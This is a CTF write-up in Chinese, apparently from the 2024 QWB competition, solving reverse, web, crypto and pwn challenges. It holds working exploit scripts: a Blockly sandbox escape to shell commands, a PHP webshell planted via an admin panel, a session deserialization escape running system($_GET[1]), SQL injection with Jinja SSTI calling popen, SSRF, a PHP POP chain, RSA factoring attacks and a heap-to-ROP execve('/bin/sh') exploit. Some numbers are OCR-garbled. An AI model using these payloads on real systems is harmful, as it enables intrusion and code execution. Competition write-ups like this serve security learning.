34         datai = ((inp[i] << 7) | (inp[i] >> 1)) & 0xFF
35         x = (((datai << 6) ^ 0xC0 | (datai >> 2) ^ 0x3B) ^ 0xBE) & 0xFF
36         xi = ((x << 5) | (x >> 3)) & 0xFF
37         xi ^= 0xAD
38         xi = ((xi << 4) | (xi >> 4)) & 0xFF
39         xi ^= 0xDE
40         xi = ((xi << 3) | (xi >> 5)) & 0xFF
41         cip[i] = stream[i] ^ deadbeef[i & 3] ^ xi
42
43 def RC4_Decrypt(cip, stream, inp):
44     for i in range(len(stream)):
45         xi = stream[i] ^ cip[i] ^ deadbeef[i & 3]
46         xi = ((xi << 5) | (xi >> 3)) & 0xFF
47         xi ^= 0xDE
48         xi = ((xi << 4) | (xi >> 4)) & 0xFF
49         xi ^= 0xAD
50         xi = ((xi << 3) | (xi >> 5)) & 0xFF
51         xi ^= 0xBE
```

```
        xi = ((xi << 2) | (xi >> 6)) & 0xFF
        xi ^= 0xEF
        xi = ((xi << 1) | (xi >> 7)) & 0xFF
        inp[i] = xi

box = [0] * 256
RC4_GenBox(box, key)
stream = [0] * len(data)
RC4_GenStream(box, stream)

# cip = [0] * len(data)
# RC4_Encrypt(inp, stream, cip)
# print(cip)

for x in range(256):
    cip = [10 ^ i for i in data]
    cip[12], cip[16] = cip[16], cip[12]
    cip[7], cip[11] = cip[11], cip[7]
    inp = [0] * len(cip)
    RC4_Decrypt(cip, stream, inp)
    print(bytes(inp), x)
```

Web

Pyblockly

首先阅读后端代码，发现是直接根据上传的blockly块拼接成python代码后运行。其中，text块很危险，因为我们能自己控制内容：

```
    elif block_type == 'text':
        if check_for_blacklisted_symbols(block['fields']['TEXT']):
            code = ''
        else:
            code =  "'" + unidecode.unidecode(block['fields']['TEXT']) + "'"
```

但是有恶意字符检查。但是发现用了unidecode，因此特殊字符可以用其他的字符来代替：

```
import unidecode
import json

ok = {}
banned = "!\"#$%&'()*+,-./:;<=>?@[\\\]^_`{|}~"

```

```
def pad(s, n):
    return '0' * (n - len(s)) + s
for i in range(256, 65536):
    z = unidecode.unidecode(chr(i))
    for j in banned:
        if j == z:
            ok[j] = '\\u' + pad(hex(i)[2:], 4)
            break
print(json.dumps(ok))
```

之后，就可以执行任意python代码了。但是加了audithook，event_name不能超过4。修改了len函数之后就可以直接绕过这个限制，于是就可以rce了：

```
import requests
import threading

d = {"\n": "\\n", "@": "\\u018f", "|": "\\u01c0", "!": "\\u01c3", "^":
"\\u0245", "?": "\\u0294", "'": "\\u02b9", "\"": "\\u02ba", "`": "\\u02bb", "
<": "\\u02c2", ">": "\\u02c3", "-": "\\u02c9", "/": "\\u02ca", "\\":
"\\u02cb", ",": "\\u02cc", "_": "\\u02cd", ":": "\\u02d0", ".": "\\u02d1",
"+": "\\u02d6", "~": "\\u02dc", "=": "\\u02ed", ";": "\\u0387", "&":
"\\u03d7", "%": "\\u066a", "*": "\\u066d", "#": "\\u06de", "{": "\\u070b",
"}": "\\u070c", "]": "\\u0f3b", "(": "\\u207d", ")": "\\u207e", "[":
"\\u27e6", "$": "\\u282b"}

def encode(s):
    return "".join(d.get(c, c) for c in s)

while True:
    com = input("$ ")
    code = encode(f"""')
try:
    __builtins__.len = lambda x: 0;
    __import__('os').system('{com}')
except Exception as e:
    print(e)
print('""")
    exp = '{"blocks":{"blocks": [{"type": "print","inputs": {"TEXT": {"block":
{"type": "text","fields": {"TEXT": "' + code + '"}}}}}]}}'

    remote = "http://eci-
2ze6n37avcrkcagnq19x.cloudeci1.ichunqiu.com:5000/blockly_json"
    r = requests.post(remote, data=exp, headers={"Content-Type":
"application/json"})
    print(r.text)
```

/flag没有权限，于是用考虑用SUID权限的程序读取：

```
$ find / -user root -perm -4000 -print 2>/dev/null
/bin/su
/bin/ls
/bin/dd
/bin/mount
/bin/umount
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/chsh
```

用dd读取即可

```
$ dd if=/flag
flag{7c1a4fe8981e295a78508a49146340b9}
```

Xiaohuanxiong

Github: https://github.com/forkable/xiaohuanxiong

根据https://github.com/forkable/xiaohuanxiong/tree/master/application/admin/controller，翻后台的每一个功能的路由。发现 `/admin/admins` 可以直接进入，于是添加一个管理员账号。

之后去 `/admin/payment/index.html` ，发现可以改php代码。加入一句话木马

阅读 `https://github.com/forkable/xiaohuanxiong/blob/master/application/admin/controller/Payment.php`

发现写入的是 config/payment.php 文件，然后用蚁剑连接即可。

Platform

首先www.zip下载源码

目标是反序列化触发这个类,因为会把恶意字符串替换，利用长度的变化，手动让session_key变成这个类。

```
class notouchitsclass {
  public $data;
```

```
3
4       public function __construct($data) {
5           $this->data = $data;
6       }
7
8       public function __destruct() {
9           eval($this->data);
10      }
11  }
```

filter里用的是置空，有字符逃逸可以利用

```
1  $sessionData = str_replace($function, '', $sessionData);
```

构造如下：

- User: `s:56:"e...valexeceval";`
- Password: `s:98:";session_key|O:15:"notouchitsclass":1:{s:4:"data";s:17:"syssystemtem($_GET[1]);";}password|s:1:"a";`

也就是：

`user|s:56:"execevalexecevalexecevalexecevalexecexecexecevalexeceval";session_key|s:20:"12345678901234567890";password|s:98:";session_key|O:15:"notouchitsclass":1:{s:4:"data";s:17:"syssystemtem($_GET[1]);";}password|s:1:"a";`

替换后变成

`user|s:56:"";session_key|s:20:"12345678901234567890";password|s:98:";session_key|O:15:"notouchitsclass":1:{s:4:"data";s:17:"system($_GET[1]);";}password|s:1:"a";`

这样子替换后恰好可以满足对应的长度，但是让session_key成功变成了恶意的类notouchitsclass，这样在最后被销毁的时候，就能触发__destruct()执行恶意代码了。

- user: `s:56:"";session_key|s:20:"12345678901234567890";password|s:98:"`
- session_key: `O:15:"notouchitsclass":1:{s:4:"data";s:17:"system($_GET[1]);";}`
- password: `s:1:"a"`

flag文件加了权限，但是/readflag有suid权限，所以直接运行readflag即可。

Payload:

```python
import requests

url = "http://eci-2zect3m6hd68llgpi5t4.cloudeci1.ichunqiu.com"

data = {
    'password': ';session_key|O:15:"notouchitsclass":1:{s:4:"data";s:17:"syssystemtem($_GET[1]);";}password|s:1:"a',
    'username': 'execevalexecevalexecevalexecevalexecexecexecevalexeceval'
}

while True:
    s = requests.session()
    r = s.post(url + '/index.php', data=data, allow_redirects=False)
    r = s.post(url + '/index.php', data=data, allow_redirects=False)
    r = s.post(url + '/dashboard.php?1=/readflag', allow_redirects=False)
    if "flag" in r.text:
        print(r.text)
        break
    s.close()
```

Snake

首先写一个贪吃蛇算法玩到一定分数，得到路由/snake_win

username参数有sqlite注入点，表里是空的

但select得到的结果用模板渲染，有SSTI漏洞可以执行命令

```python
import requests

url = 'http://eci-2zeg97hlr4shfblexsvo.cloudeci1.ichunqiu.com:5000/'
cookies = {
    'session': 'eyJ1c2VybmFtZSI6ImJyZWFsaWQifQ.ZyYSEg.HJkZ6bMLKOMoPaDiGJ8rlMuDgG0'
}

d = 'RIGHT'

def can_move(snakelist, nextp):
    board = [[0 for _ in range(20)] for _ in range(20)]
    for x, y in snakelist:
        board[x][y] = 1
    tx, ty = snakelist[-1]
    q = [nextp]
    board[nextp[0]][nextp[1]] = 2
    p = 0
```

```
    while p < len(q):
        x, y = q[p]
        p += 1
        if abs(x - tx) + abs(y - ty) == 1:
            return True
        for nx, ny in [[x - 1, y], [x + 1, y], [x, y - 1], [x, y + 1]]:
            if 0 <= nx <= 19 and 0 <= ny <= 19:
                if board[nx][ny] == 0:
                    q.append([nx, ny])
                    board[nx][ny] = 2
    return False


try:
    while True:
        response = requests.post(url + 'move', cookies=cookies, json=
{'direction': d}).json()
        print(response)

        board = [[' ' for _ in range(20)] for _ in range(20)]
        for x, y in response['snake']:
            board[x][y] = 'X'
        board[response['food'][0]][response['food'][1]] = '$'
        board[response['snake'][0][0]][response['snake'][0][1]] = '@'
        print('=' * 100)
        for i in range(20):
            for j in range(20):
                print(board[i][j], end = ' ' if j < 19 else '\n')

        x, y = response['snake'][0]
        tx, ty = response['food']
        d = '?'
        if x < tx:
            if [x + 1, y] not in response['snake'] and
can_move(response['snake'], [x + 1, y]):
                d = 'RIGHT'
        if x > tx:
            if [x - 1, y] not in response['snake'] and
can_move(response['snake'], [x - 1, y]):
                d = 'LEFT'
        if y < ty:
            if [x, y + 1] not in response['snake'] and
can_move(response['snake'], [x, y + 1]):
                d = 'DOWN'
        if y > ty:
            if [x, y - 1] not in response['snake'] and
can_move(response['snake'], [x, y - 1]):
```

```
                d = 'UP'
        if d == '?':
            if [x + 1, y] not in response['snake'] and x + 1 <= 19 and
can_move(response['snake'], [x + 1, y]):
                d = 'RIGHT'
            if [x - 1, y] not in response['snake'] and x - 1 >= 0 and
can_move(response['snake'], [x - 1, y]):
                d = 'LEFT'
            if [x, y + 1] not in response['snake'] and y + 1 <= 19 and
can_move(response['snake'], [x, y + 1]):
                d = 'DOWN'
            if [x, y - 1] not in response['snake'] and y - 1 >= 0 and
can_move(response['snake'], [x, y - 1]):
                d = 'UP'
```

```python
import requests

url = 'http://eci-2ze5o4vs0w9lprgwd8uy.cloudeci1.ichunqiu.com:5000/snake_win'

while True:
    sql = input('> ')
    response = requests.get(url, params={'username': f'{-1}\' union {sql} --'})
    # <p>Your best time: 0 seconds</p>
    text = response.text.split('<p>Your best time: ')[-1].split(' seconds</p>')
[0]
    print(text)
```

> select 1,2,'{{"".__class__.__bases__[0].__subclasses__()[117].__init__.__globals__["popen"]("cat /flag").read()}}'
>
> flag{aafe90b4-d264-4b14-ab30-2add42ccc53b}

Proxy

直接POST `/v2/api/proxy` ，让 v2 去访问 v1 就拿到 flag 了：

```
{
    "url": "http://127.0.0.1:8769/v1/api/flag",
    "method": "POST"
}
```

{"flag":"ZmxhZ3tiNDUzMWI5OS01YTU4LTQ0ZjMtOGEwOS0wZjcwNjk5OTZjMmF9"}

Password Game

Rule 1: 请至少包含数字和大小写字母

Rule 2: 密码中所有数字之和必须为xxx的倍数，30

Rule 3: 请密码中包含下列算式的解(如有除法，则为整除): 19085-25

Rule 4: 密码长度不能超过170.

```
中场休息。 sleep(1);
现在你可以拿到flag了。
function filter($password){
    $filter_arr = array("admin","2024qwb");
    $filter = '/'.implode("|",$filter_arr).'/i';
    return preg_replace($filter,"nonono",$password);
}
class guest{
    public $username;
    public $value;
    public function __tostring(){
        if($this->username=="guest"){
            $value();
        }
        return $this->username;
    }
    public function __call($key,$value){
        if($this->username==md5($GLOBALS["flag"])){
            echo $GLOBALS["flag"];
        }
    }
}
class root{
    public $username;
    public $value;
    public function __get($key){
        if(strpos($this->username, "admin") == 0 && $this->value == "2024qwb"){
            $this->value = $GLOBALS["flag"];
            echo md5("hello:".$this->value);
        }
    }
}
class user{
    public $username;
    public $password;
    public $value;
    public function __invoke(){
        $this->username=md5($GLOBALS["flag"]);
```

```
        return $this->password->guess();
    }
    public function __destruct(){
        if(strpos($this->username, "admin") == 0 ){
            echo "hello".$this->username;
        }
    }
}
$user=unserialize(filter($_POST["password"]));
if(strpos($user->username, "admin") == 0 && $user->password == "2024qwb"){
    echo "hello!";
}
```

绕过admin和2024qwb可以用16进制，绕过。首先把s改成大写S，然后用16进制就可以。

```
O:4:"root":2:
{s:8:"username";S:13:"\61dmin69292690";s:5:"value";S:7:"2024qw\62";}
```

接着构造POP链：

从root开始，访问password会触发__get方法，因为username是用strpos比较，用user传给username，password作为"admin"，然后value就正常设也是可以正常触发。再让root的value是正常的2024qwb，这样子root的value就变成了flag，把user的username改成root的value的引用，这样子user被destroy的时候就会输出flag。

```
<?php
class root{
    public $username;
    public $value;
}
class user{
    public $username;
    public $password;
    public $value;
}
$a = new root();
$b = new user();
$b->username = &$a->value;
$b->password = "admin19060";
$a->username = $b;
$a->value = "2024qwb";
echo serialize($a);
?>
```

最终payload:

```
O:4:"root":2:{s:8:"username";O:4:"user":3:
{s:8:"username";S:7:"2024qw\62";s:8:"password";S:11:"\61dmin190607";s:5:"value"
;N;}s:5:"value";R:3;}
```

Crypto

traditional_game

https://eprint.iacr.org/2024/1329.pdf

论文复现，f根据论文写的

```

#solve.py
from Crypto.Util.number import *
from pwn import *
from tqdm import tqdm, trange
import gmpy2
from sage.all import *

def get():
    r1 = remote('39.106.63.28', 32919)
    r2 = remote('39.106.63.28', 32919)
    r1.recvuntil(b'[+] rsa public key: ')
    n, e = map(int, r1.recvline().decode().strip()[1:-1].split(', '))
    for _ in trange(100):
        r2.sendlineafter(b'[-] b:', b'0')
        ans = int(b'wrong' in r2.recvline())
        r1.sendlineafter(b'[-] b:', str(ans).encode())
        assert b'correct' in r1.recvline()
    r2.close()
    return n, e, r1

n, e, rn = get()
print(f'{n = }')
print(f'{e = }')
rn.recvuntil(b'[+] privkey is: ')
d_, blind = map(int, rn.recvline().decode().strip()[1:-2].split(','))
print(f'{d_ = }')
print(f'{blind = }')
rn.recvuntil(b'[+] encrypt token is: ')
```

```
encrypted_token = int(rn.recvline().decode())

load('solve_game.sage')

p = solve(blind, d_, n, e)
assert p != 1 and p != n and n % p == 0, f'{p}'
q = n // p

m = pow(encrypted_token, inverse(e, (p - 1) * (q - 1)), n)
rn.sendlineafter(b'[-] guess token:', long_to_bytes(m).hex().encode())
rn.interactive()

```

```
# solve_game.sage
def small_roots(f, X=None, beta=1.0, my_m, epsilon=None, **kwds):
    """
    Let `N` be the characteristic of the base ring this polynomial
    is defined over: ``N = self.base_ring().characteristic()``.
    This method returns small roots of this polynomial modulo some
    factor `b` of `N` with the constraint that `b >= N^\beta`.
    Small in this context means that if `x` is a root of `f`
    modulo `b` then `|x| < X`. This `X` is either provided by the
    user or the maximum `X` is chosen such that this algorithm
    terminates in polynomial time. If `X` is chosen automatically
    it is `X = ceil(1/2 N^{\beta^2/\delta - \epsilon})`.
    The algorithm may also return some roots which are larger than `X`.
    'This algorithm' in this context means Coppersmith's algorithm for finding
    small roots using the LLL algorithm. The implementation of this algorithm
    follows Alexander May's PhD thesis referenced below.
    INPUT:
    - ``X`` -- an absolute bound for the root (default: see above)
    - ``beta`` -- compute a root mod `b` where `b` is a factor of `N` and `b
      \ge N^\beta`. (Default: 1.0, so `b = N`.)
    - ``epsilon`` -- the parameter `\epsilon` described above. (Default:
`\beta/8`)
    - ``**kwds`` -- passed through to method :meth:`Matrix_integer_dense.LLL()
<sage.matrix.matrix_integer_dense.Matrix_integer_dense.LLL>`.
    EXAMPLES:
    First consider a small example::
        sage: N = 10001
        sage: K = Zmod(10001)
        sage: P.<x> = PolynomialRing(K, implementation='NTL')
        sage: f = x^3 + 10*x^2 + 5000*x - 222
    This polynomial has no roots without modular reduction (i.e. over `\ZZ`)::
        sage: f.change_ring(ZZ).roots()
```

```
        []
    To compute its roots we need to factor the modulus `N` and use the Chinese
    remainder theorem::
        sage: p,q = N.prime_divisors()
        sage: f.change_ring(GF(p)).roots()
        [(4, 1)]
        sage: f.change_ring(GF(q)).roots()
        [(4, 1)]
        sage: crt(4, 4, p, q)
        4
    This root is quite small compared to `N`, so we can attempt to
    recover it without factoring `N` using Coppersmith's small root
    method::
        sage: f.small_roots()
        [4]
    An application of this method is to consider RSA. We are using 512-bit RSA
    with public exponent `e=3` to encrypt a 56-bit DES key. Because it would be
    easy to attack this setting if no padding was used we pad the key `K` with
    1s to get a large number::
        sage: Nbits, Kbits = 512, 56
        sage: e = 3
    We choose two primes of size 256-bit each::
        sage: p = 2^256 + 2^8 + 2^5 + 2^3 + 1
        sage: q = 2^256 + 2^8 + 2^5 + 2^3 + 2^2 + 1
        sage: N = p*q
        sage: ZmodN = Zmod( N )
    We choose a random key::
        sage: K = ZZ.random_element(0, 2^Kbits)
    and pad it with 512-56=456 1s::
        sage: Kdigits = K.digits(2)
        sage: M = [0]*Kbits + [1]*(Nbits-Kbits)
        sage: for i in range(len(Kdigits)): M[i] = Kdigits[i]
        sage: M = ZZ(M, 2)
    Now we encrypt the resulting message::
        sage: C = ZmodN(M)^e
    To recover `K` we consider the following polynomial modulo `N`::
        sage: P.<x> = PolynomialRing(ZmodN, implementation='NTL')
        sage: f = (2^Nbits - 2^Kbits + x)^e - C
    and recover its small roots::
        sage: Kbar = f.small_roots()[0]
        sage: K == Kbar
        True
    The same algorithm can be used to factor `N = pq` if partial
    knowledge about `q` is available. This example is from the
    Magma handbook:
    First, we set up `p`, `q` and `N`::
        sage: length = 512
```

```
        sage: hidden = 110
        sage: p = next_prime(2^int(round(length/2)))
        sage: q = next_prime( round(pi.n()*p) )
        sage: N = p*q
    Now we disturb the low 110 bits of `q`::
        sage: qbar = q + ZZ.random_element(0,2^hidden-1)
    And try to recover `q` from it::
        sage: F.<x> = PolynomialRing(Zmod(N), implementation='NTL')
        sage: f = x - qbar
    We know that the error is `\le 2^{\text{hidden}}-1` and that the modulus
    we are looking for is `\ge \sqrt{N}`::
        sage: from sage.misc.verbose import set_verbose
        sage: set_verbose(2)
        sage: d = f.small_roots(X=2^hidden-1, beta=0.5)[0] # time random
        verbose 2 (<module>) m = 4
        verbose 2 (<module>) t = 4
        verbose 2 (<module>) X = 1298074214633706907132624082305023
        verbose 1 (<module>) LLL of 8x8 matrix (algorithm fpLLL:wrapper)
        verbose 1 (<module>) LLL finished (time = 0.006998)
        sage: q == qbar - d
        True
    REFERENCES:
    Don Coppersmith. *Finding a small root of a univariate modular equation.*
    In Advances in Cryptology, EuroCrypt 1996, volume 1070 of Lecture
    Notes in Computer Science, p. 155--165. Springer, 1996.
    http://cr.yp.to/bib/2001/coppersmith.pdf
    Alexander May. *New RSA Vulnerabilities Using Lattice Reduction Methods.*
    PhD thesis, University of Paderborn, 2003.
    http://www.cs.uni-paderborn.de/uploads/tx_sibibtex/bp.pdf
    """
    from sage.misc.verbose import verbose
    from sage.matrix.constructor import Matrix
    from sage.rings.all import RR

    N = self.parent().characteristic()

    if not self.is_monic():
        raise ArithmeticError("Polynomial must be monic.")

    beta = RR(beta)
    if beta <= 0.0 or beta > 1.0:
        raise ValueError("0.0 < beta <= 1.0 not satisfied.")

    f = self.change_ring(ZZ)

    P,(x,) = f.parent().objgens()

```

```
125     delta = f.degree()
126 
127     if epsilon is None:
128         epsilon = beta/8
129     verbose("epsilon = %d"%epsilon, level=2)
130 
131     m = max(beta**2/(delta * epsilon), 7*beta/delta).ceil()
132     m = my_m
133     verbose("m = %d"%m, level=2)
134 
135     t = int( ( delta*m*(1/beta -1) ).floor() )
136     verbose("t = %d"%t, level=2)
137 
138     if X is None:
139         X = (0.5 * N**(beta**2/delta - epsilon)).ceil()
140     verbose("X = %s"%X, level=2)
141 
142     # we could do this much faster, but this is a cheap step
143     # compared to LLL
144     g  = [x**j * N**(m-i) * f**i for i in range(m) for j in range(delta) ]
145     g.extend([x**i * f**m for i in range(t)]) # h
146 
147     B = Matrix(ZZ, len(g), delta*m + max(delta,t) )
148     for i in range(B.nrows()):
149         for j in range( g[i].degree()+1 ):
150             B[i,j] = g[i][j]*X**j
151 
152     B =  B.LLL(**kwds)
153 
154     f = sum([ZZ(B[0,i]//X**i)*x**i for i in range(B.ncols())])
155     R = f.roots()
156 
157     ZmodN = self.base_ring()
158     roots = set([ZmodN(r) for r,m in R if abs(r) <= X])
159     Nbeta = N**beta
160     return [root for root in roots if N.gcd(ZZ(self(root))) >= Nbeta]
161 
162 
163 def solve(blind, d_, n, e):
164     high_known = 1024 - blind_bit - unknown_bit - 5
165     b = high_known.bit_length() - high_known
166     d_high = high_known >> b
167     k = (e * d_high * 2**b - 1) // n + 1
168 
169     PR_e = PolynomialRing(Zmod(e))
170     f = (1 + k * (n + 1 - x))
171     s = int(f.roots()[0][0])
```

```
172
173     S = n + 1 - (e * d_high * 2**b - 1) // k
174     D = isqrt(S**2 - 4 * n)
175     p_high = (S + D) // 2
176
177     PR_gf_e = PolynomialRing(GF(e))
178     f_e = x^2 - s * x + n
179     possible_p_mod_e = [int(root) for root in f_e.roots()]
180
181     PR_blind = PolynomialRing(GF(blind))
182     d_mod_blind = d_ & ((1<<blind_bit) - 1)
183     f_blind = x + k * (n * x - x**2 - n + x) - x * e * d_mod_blind
184     possible_p_mod_blind = [int(root) for root in f_blind.roots()]
185
186     m = int(blind) * int(e)
187
188     for p_mod_e in possible_p_mod_e:
189         for p_mod_blind in possible_p_mod_blind:
190             p_ = crt([p_mod_e, p_mod_blind], [e, blind])
191             PR_n = PolynomialRing(Zmod(n))
192             t_high = (p_high - p_) // m
193             f_final = (t_high + x) * m + p_
194
195             for bound in trange(95, 110):
196                 roots = small_roots(f_final,
197                                     X=2**(t_high.bit_length() - bound),
198                                     my_m=18,
199                                     beta=0.48)
200                 if roots:
201                     p = int(f_final(roots[0]))
202                     if is_prime(p) and n % p == 0:
203                         return p
204
```

EasyRSA

枚举就完事了。$(a+b)/2g$ 的 bit 数为24位，枚举这个值 `ab2g` 然后简单尝试求解一元二次方程

```
1 from Crypto.Util.number import *
2 from pwn import *
3 from tqdm import tqdm
4 from gmpy2 import isqrt
```

```python

def get():
    r = remote('60.205.201.78', 28738)
    N = int(r.recvline().decode().split('=')[-1])
    e = int(r.recvline().decode().split('=')[-1])
    g = int(r.recvline().decode().split('=')[-1])
    enc = int(r.recvline().decode().split('=')[-1])
    r.close()
    return N, e, g, enc

N, e, g, enc = get()
h = (N - 1) // (2 * g)
u = h // (2 * g)
v = h % (2 * g)
ab2g = 0
while True:
    ab2g += 1
    if ab2g % 10000 == 0:
        print(f'Loading... {ab2g = }')
    # h = 2*g*a*b + a + b
    # h = 2*g*(a*b+ab2g) + (<2g)
    add = ab2g * 2 * g + v
    mult = u - ab2g
    # a * b = mult, a + b = add
    sub2 = add**2 - 4*mult
    if sub2 < 0:
        continue
    sub = int(isqrt(sub2))
    if sub * sub == sub2:
        print('Oh!')
        a = (add + sub) // 2
        b = (add - sub) // 2
        break
p = 2 * g * a + 1
q = 2 * g * b + 1
m = pow(enc, inverse(e, (p - 1) * (q - 1)), N)
print(long_to_bytes(m))
```

21_steps

按题目要求，应该是求汉明重量。查询到C++的库函数

https://blog.csdn.net/github_38148039/article/details/109598368

但是是库函数只支持32bit。看来得小改一下

又找一个链接

https://en.wikipedia.org/wiki/Hamming_weight

里面有64位的情况。但是题目要求128位。

其实原理都是一样的，先是两位两位的计数，再是四位四位的计数，最后八位八位计数。

八位能代表的个数已然超过最大限度，就不用往外扩展。然后只要把每个八位的值相加（乘上0x01010101.....）

综合两种情况来看，只需要改动对应的m1,m2,m4，h01即可。因为2^8>128的，所以不需要融合更多的位数。

```
m1 = '0b'+'01'*64
m1 = int(m1, 2)

m2 = '0b'+'0011'*32
m2 = int(m2, 2)

m4 = '0b'+'00001111'*16
m4 = int(m4, 2)

h01 = '0x'+'01'*16
h01 = int(h01, 16)
```

> m1= 113427455640312821154458202477256070485
>
> m2= 68056473384187692692674921486353642291
>
> m4= 200166098188787331449043886724569536l5
>
> h01= 133444065459191554299362591149713024l

```
def solve(A,B):

    A -= ((A >> 1) & m1)
    A = (A & m2) + ((A >> 2) & m2)
    A = (A + (A >> 4)) & m4
    A = (A* h01) >> 120
    A = A % 256 # 这是因为我们把值放在了121~128位，所以只要取8位数字
    return A
```

转化为题目要求的式子即：

B=A>>1;B=B&113427455640312821154458202477256070485;A=A-B;B=A&68056473384187692692674921486353642291;A=A>>2;A=A&6805647338418769269267492

1486353642291;A=A+B;B=A>>4;A=A+B;A=A&200166098188787331449043886724569536l5;B=A*1
33444065459191554299362591149713024l;A=B>>120;A=A%256;

应该就是这个了

flag{you_can_weight_it_in_21_steps!}

apbq

Pwn

chat_with_me

通过测试程序的各个分支不难发现以下点：

1. 当show一个块的时候，能够泄露出ELF、heap、stack的地址。

```
Choice > 2
Index > 0
Content: [2, 0, 0, 0, 0, 0, 0, 0, 176, 171, 65, 205, 88, 85, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 184, 23, 49, 0, 253, 127, 0, 0, 176, 149, 159, 203, 88, 85, 0, 0, 5, 0, 0, 0, 0, 0, 0, 0, 176, 171, 65, 205,
88, 85, 0, 0, 5, 0, 0, 0, 0, 0, 0, 0, 5, 0, 0, 0, 0, 0, 0, 0]
Choice >
```

2. 当edit一个块的时候，0x20之后的内容会被当做指针free掉，这样能直接出现段错误，而不会rust的机制捕捉到，说明这里存在漏洞。

```
Choice > 3
Index > 0
Content > AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDDEEEEEEEE
Content: [65, 65, 65, 65, 65, 65, 65, 65, 66, 66, 66, 66, 66, 66, 66, 66, 67, 67, 67, 67, 67, 67, 67, 67, 68, 68
, 68, 68, 68, 68, 68, 68, 69, 69, 69, 69, 69, 69, 69, 69, 10, 0, 0, 0, 0, 0, 0, 0, 176, 149, 159, 203, 88, 85, 0
, 0, 0, 139, 65, 205, 88, 85, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 7, 0, 0, 0, 0, 0, 0, 0]
Segmentation fault (core dumped)
```

3. 借助于show的时候的泄露的地址，可以在堆上布局，伪造一个块去free。

```
0x56493b36e910  0x0000000000000000      0x0000000000002011
0x56493b36e920  0x0000000000000001      0x0000000000000002
0x56493b36e930  0x0000000000000003      0x0000000000000004
0x56493b36e940  0x000056493b36e960      0x0000000000000006
0x56493b36e950  0x0000000000000007      0x0000000000001fd1
0x56493b36e960  0x00007f6c5c3b7b20      0x00007f6c5c3b7b20
0x56493b36e970  0x0000000000000000      0x0000000000000000
0x56493b36e980  0x0000000000000000      0x0000000000000000
0x56493b36e990  0x0000000000000000      0x0000000000000000
0x56493b36e9a0  0x0000000000000000      0x0000000000000000
0x56493b36e9b0  0x0000000000000000      0x0000000000000000
```

4. add多次的时候，存储结构指针的数组就会扩增，扩增的行为是realloc(ptr, size * 2)。扩增时使得能够刚好申请到从3步中释放的块。如此就能控制到一个结构指针。

```
0x564ed4b21910  0x0000000000000000      0x0000000000002011
0x564ed4b21920  0x0000000000000a31      0x0000000000000002
0x564ed4b21930  0x0000000000000003      0x0000000000000004
0x564ed4b21940  0x0000564ed4b21960      0x0000000000000006
0x564ed4b21950  0x0000000000000007      0x0000000000000051
0x564ed4b21960  0x00007ffc3cae5bc0      0x00007ffc3cae5bc0
0x564ed4b21970  0x00007ffc3cae5bc0      0x00007ffc3cae5bc0
0x564ed4b21980  0x00007ffc3cae5bc0      0x0000000000000000
0x564ed4b21990  0x0000000000000000      0x0000000000000000
0x564ed4b219a0  0x0000000000000000      0x0000000000001f81
0x564ed4b219b0  0x00007fce23dfcb20      0x00007fce23dfcb20
0x564ed4b219c0  0x0000000000000000      0x0000000000000000
```

5. 控制结构体指针使得能够向任意地址写。由于libc版本太高，不会打堆，选择向栈上返回地址写ROP。ROP太短之后迁移到堆上再ROP。ELF中存在syscall的gadget，而且能控制rdi，rdi，rdx，rax，从而执行execve("/bin/sh", 0, 0)。

```python
#_*_coding:utf-8_*_
from pwn import *

context.arch = 'amd64'
context.log_level = "debug" if debug else "info"

local = 0
debug = 1

binary = "./pwn"
lib = "/lib/x86_64-linux-gnu/libc.so.6"

elf  = ELF(binary)
libc = ELF(lib)

if local:
    io   = process(binary)
else :
    io   = remote("localhost", 6666)

s        = lambda buf         : io.send(buf)
sl       = lambda buf         : io.sendline(buf)
sa       = lambda delim, buf  : io.sendafter(delim, buf)
sal      = lambda delim, buf  : io.sendlineafter(delim, buf)
sh       = lambda             : io.interactive()
r        = lambda n=None      : io.recv(n)
ru       = lambda delim       : io.recvuntil(delim)
r7f      = lambda             : u64(io.recvuntil("\x7f")[-6:]+"\x00\x00")
trs      = lambda addr        : libc.address+addr
```

```
gadget   = lambda ins         : libc.search(asm(ins, arch="amd64"), executable = True).next()
tohex    = lambda buf         : "".join("\\x%02x"%ord(_) for _ in buf)
protect  = lambda pos, ptr    : ((pos>>12)^(ptr))
mangle   = lambda var, guard  : (((var^guard)<<0x11) + ((var^guard)>>(64-0x11))) & ((1<<64)-1)

def ggdb():
    cmd = (
        "#!/bin/bash\n",
        "gdb -p $(pidof %s) -q " % (binary),
        "-ex 'break *$rebase(0x19CD0)'",
        "-ex 'break *$rebase(0x19E10)'",
        "-ex 'break *$rebase(0x1A060)'",
    )
    cmd = ' '.join(cmd)
    with open("./gdb.sh",'w') as f:
        f.write(cmd)
    os.system("chmod +x ./gdb.sh")
ggdb()

def add():
    sal(b'Choice > ', str(1).encode())

def show(idx):
    sal(b'Choice > ', str(2).encode())
    sal(b'Index > ', str(idx).encode())

def edit(idx, content):
    sal(b'Choice > ', str(3).encode())
    sal(b'Index > ', str(idx).encode())
    sa(b'Content > ', content)

def free(idx):
    sal(b'Choice > ', str(4).encode())
    sal(b'Index > ', str(idx).encode())

def exit():
    sal(b'Choice > ', str(5).encode())

def hexdump(buffer):
    import sys
    for idx, ch in enumerate(buffer):
        if idx != 0 and idx % 16 == 0:
            sys.stdout.write('\n')
        sys.stdout.write('%02x ' % ch)
    sys.stdout.write('\n')
```

```
75
76 add()
77 show(0)
78
79 ru(b'Content: [')
80 leak = ru(b']')[:-1]
81 leak = leak.split(b',')
82 leak = [int(_.strip()) for _ in leak]
83 leak = bytes(leak)
84 hexdump(leak)
85
86 leak1 = u64(leak[:8])
87 leak = leak[8:]
88 info('leak => 0x%x' % (leak1))
89
90 leak2 = u64(leak[:8])
91 leak = leak[8:]
92 info('leak => 0x%x' % (leak2))
93
94 leak3 = u64(leak[:8])
95 leak = leak[8:]
96 info('leak => 0x%x' % (leak3))
97
98 leak4 = u64(leak[:8])
99 leak = leak[8:]
100 info('leak => 0x%x' % (leak4))
101
102 leak5 = u64(leak[:8])
103 leak = leak[8:]
104 info('leak => 0x%x' % (leak5))
105
106 leak6 = u64(leak[:8])
107 leak = leak[8:]
108 info('leak => 0x%x' % (leak6))
109
110 leak7 = u64(leak[:8])
111 leak = leak[8:]
112 info('leak => 0x%x' % (leak7))
113
